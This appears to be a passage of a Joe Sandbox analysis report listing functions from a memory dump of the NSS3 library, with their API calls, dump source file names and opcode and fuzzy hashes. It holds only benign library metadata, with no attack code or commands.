Function 6CEB0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?,?,00000000,?,?), ref: 6CEB0CB3

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?), ref: 6CEB0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?), ref: 6CEB0DEC

Part of subcall function 6CED0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE72AF5,?,?,?,?,?,6CE70A1B,00000000), ref: 6CED0F1A
Part of subcall function 6CED0F10: malloc.MOZGLUE(00000001), ref: 6CED0F30
Part of subcall function 6CED0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CED0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000), ref: 6CEB0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?,?,00000000), ref: 6CEB0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0E79

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,?,6CE90844,?), ref: 6CEC157A
Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(?,?,?,6CE90844,?), ref: 6CEC158F
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?,?,?,?,6CE90844,?), ref: 6CEC15B2

Part of subcall function 6CE8B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE91397,00000000,?,6CE8CF93,5B5F5EC0,00000000,?,6CE91397,?), ref: 6CE8B1CB
Part of subcall function 6CE8B1A0: free.MOZGLUE(5B5F5EC0,?,6CE8CF93,5B5F5EC0,00000000,?,6CE91397,?), ref: 6CE8B1D2

Part of subcall function 6CE889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE888AE,-00000008), ref: 6CE88A04
Part of subcall function 6CE889E0: EnterCriticalSection.KERNEL32(?), ref: 6CE88A15
Part of subcall function 6CE889E0: memset.VCRUNTIME140(6CE888AE,00000000,00000132), ref: 6CE88A27
Part of subcall function 6CE889E0: PR_Unlock.NSS3(?), ref: 6CE88A35

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 483fc3a83b214ce1640064cd0b5555ded1e02265877b0776da38633f441cce3c
Instruction ID: 93248238f67643b6dbf8f3c89d86afd8877ebd324aff77f214dcbd91ec987d6d
Opcode Fuzzy Hash: 483fc3a83b214ce1640064cd0b5555ded1e02265877b0776da38633f441cce3c
Instruction Fuzzy Hash: CB5197F5E012005FEB009F64DE41ABB37B89F4525CF250468EC19A7752E731FD1586A2

Function 6CE66E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE66ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE66EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE66FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE66FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE66FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE67010
sqlite3_value_blob.NSS3(?,?), ref: 6CE6701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE67052

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 6fbdca9452d07037847658a79c75e9b98bbd55bbb023f7792eff405d50916486
Instruction ID: a7a3fc20dbe482b25a1acff9afc3ff4f064173e00827fcfbefef72e180d8c9ed
Opcode Fuzzy Hash: 6fbdca9452d07037847658a79c75e9b98bbd55bbb023f7792eff405d50916486
Instruction Fuzzy Hash: 5961B2B1E752068BDB40CF66D8017EEB7B6AF85308F384169D855ABF51E7319C06CBA0

Function 6CED8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CED7313), ref: 6CED8FBB

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CED7313), ref: 6CED9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED90F1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CED7313), ref: 6CED906B

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CED7313), ref: 6CED9128

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 9df96450f4bad2d30b5dbca8e304f52a76eb4cc083e49a1fdbd56159dc3b40ea
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: AA517E71A002018BEB109F6ADC54B26B3F9AF4535CF374129D915D7B61EB31F806CB91

Function 6CE89C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE88850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE90715), ref: 6CE88859
Part of subcall function 6CE88850: PR_NewLock.NSS3 ref: 6CE88874
Part of subcall function 6CE88850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE8888D

PR_NewLock.NSS3 ref: 6CE89CAD

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

TlsGetValue.KERNEL32 ref: 6CE89CE8
EnterCriticalSection.KERNEL32(?,?,6CE8ECEC,6CE92FCD,00000000,?,6CE92FCD,?), ref: 6CE89D01
TlsGetValue.KERNEL32(?,?,?,6CE8ECEC,6CE92FCD,00000000,?,6CE92FCD,?), ref: 6CE89D38
EnterCriticalSection.KERNEL32(?,?,6CE8ECEC,6CE92FCD,00000000,?,6CE92FCD,?), ref: 6CE89D4D
PR_Unlock.NSS3 ref: 6CE89D70
PR_Unlock.NSS3 ref: 6CE89DC3
PR_NewLock.NSS3 ref: 6CE89DDD

Part of subcall function 6CE888D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE90725,00000000,00000058), ref: 6CE88906
Part of subcall function 6CE888D0: EnterCriticalSection.KERNEL32(?), ref: 6CE8891A
Part of subcall function 6CE888D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE8894A
Part of subcall function 6CE888D0: calloc.MOZGLUE(00000001,6CE9072D,00000000,00000000,00000000,?,6CE90725,00000000,00000058), ref: 6CE88959
Part of subcall function 6CE888D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE88993
Part of subcall function 6CE888D0: PR_Unlock.NSS3(?), ref: 6CE889AF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 9c3b7a0f90e5c30fcb1cd32f567f7a7879788e898e594bfaee31b94538571976
Instruction ID: d0e3a63bb9177d2018ad08eb54221bfdaa51d0cec7fc5d7fa25ea157aaa5f620
Opcode Fuzzy Hash: 9c3b7a0f90e5c30fcb1cd32f567f7a7879788e898e594bfaee31b94538571976
Instruction Fuzzy Hash: 4D514F71E067059FDB00EF68C08466EBBF0BF45359F258969D89C9BB50DB30E944CB91

Function 6CF89EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF89EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF89EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF89F73
EnterCriticalSection.KERNEL32(?), ref: 6CF89FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF89FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF89FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8A01D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: c09f660da89a2956115983edbeadad7e241a21a11ba906c4950bb866593d2a2f
Instruction ID: 09b7b1bcd76821b5d67f1d1bd53a0e868c1f872b04dcd8979f74549bf3267276
Opcode Fuzzy Hash: c09f660da89a2956115983edbeadad7e241a21a11ba906c4950bb866593d2a2f
Instruction Fuzzy Hash: 5451BFB2801610DBCB109F25D88468AB7F0FF44319F25856ADC599BB52EB31EA85CBE1

Function 6CEB88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB88FC

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEB8913

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CF9D864,?), ref: 6CEB8947

Part of subcall function 6CECE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CECE245
Part of subcall function 6CECE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CECE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEB895B
DER_GetInteger_Util.NSS3(?), ref: 6CEB8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEB8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEB8A12

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: cd2b9e8fab1ae422e17b0f95a466bd78120cc5458714b93b0161362a1b9c8ae3
Instruction ID: 22d127fd0a46bdb90a10d60cbdd7196931a2945070963b7625f2de2b51e25aef
Opcode Fuzzy Hash: cd2b9e8fab1ae422e17b0f95a466bd78120cc5458714b93b0161362a1b9c8ae3
Instruction Fuzzy Hash: A73128B1A0464156FF304229AE417BA36B59B9132CF34173BD62DF7B81FB35C44A8293

Function 6CE7DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE7DCFA

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE7DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE7DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE7DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE7DD8F

Part of subcall function 6CE906A0: TlsGetValue.KERNEL32 ref: 6CE906C2
Part of subcall function 6CE906A0: EnterCriticalSection.KERNEL32(?), ref: 6CE906D6
Part of subcall function 6CE906A0: PR_Unlock.NSS3 ref: 6CE906EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE7DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE7DDB7

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 30447cabe0ad30d9da4139f7a4076343f10aec2e67d6725dcfca08fbfcc13d20
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 87218EBAE011259BDF119E94DD419DEBBB4EF05218B290124EE18A7701F731EA15CBF1

Function 6CF05F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05F72

Part of subcall function 6CE6ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE6ED8F
Part of subcall function 6CE6ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE6ED9E
Part of subcall function 6CE6ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE6EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FCC
free.MOZGLUE(?,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FF4
free.MOZGLUE(?,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF06019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF06036

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: f82f3c5bc9a671daeddcbeaca1524125ba993e36f299464f55ffc74a09c40c4d
Instruction ID: 1022f628d0ce232c1c2268f474438dc81936992ba8a2c207a35f163b72a2f9e8
Opcode Fuzzy Hash: f82f3c5bc9a671daeddcbeaca1524125ba993e36f299464f55ffc74a09c40c4d
Instruction Fuzzy Hash: 3D211AF1B04B009BEA209F75DC18BD377B8AB45749F14092CE46AC7640EB76E119CB91

Function 6CE73C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEE460B,?,?), ref: 6CE73CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE73CB9
PL_HashTableLookup.NSS3(?), ref: 6CE73CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE73CD6
PR_Unlock.NSS3 ref: 6CE73CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE73CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE73D03
PR_Unlock.NSS3 ref: 6CE73D15

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 66a6e1d246d0cc084b1656e184127d1d2a98a7df26fa072aaed94bf9588f664a
Instruction ID: 448af55bb88dea6c363a6dafd48d2540eb3eebaa9486b54708942e90a5905bc5
Opcode Fuzzy Hash: 66a6e1d246d0cc084b1656e184127d1d2a98a7df26fa072aaed94bf9588f664a
Instruction Fuzzy Hash: 3D112C76E5051467DB511634AC09AAA7A38EB0225CB354134ED1853B11F722ED58C7E1

Function 6CE79C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE911C0: PR_NewLock.NSS3 ref: 6CE91216

free.MOZGLUE(?), ref: 6CE79E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE79E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE79E4E
TlsGetValue.KERNEL32 ref: 6CE79EA2

Part of subcall function 6CE89500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE89546

EnterCriticalSection.KERNEL32(?), ref: 6CE79EB6
PR_Unlock.NSS3 ref: 6CE79ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE79F18

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 47d74fa8d5cf2e5df6a30e6f76f3fc4bc5c5754b69eac01856cae6375933bcc0
Instruction ID: 481cb35767fde62d6d946f1e6c9d0a17ceec0a3a9ab97c98c715d0e70830c39e
Opcode Fuzzy Hash: 47d74fa8d5cf2e5df6a30e6f76f3fc4bc5c5754b69eac01856cae6375933bcc0
Instruction Fuzzy Hash: D481CEB5A01601ABEB209F34DC41AABB7F9FF4524CF24452CE85987B41FB31E958C7A1

Function 6CE8DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

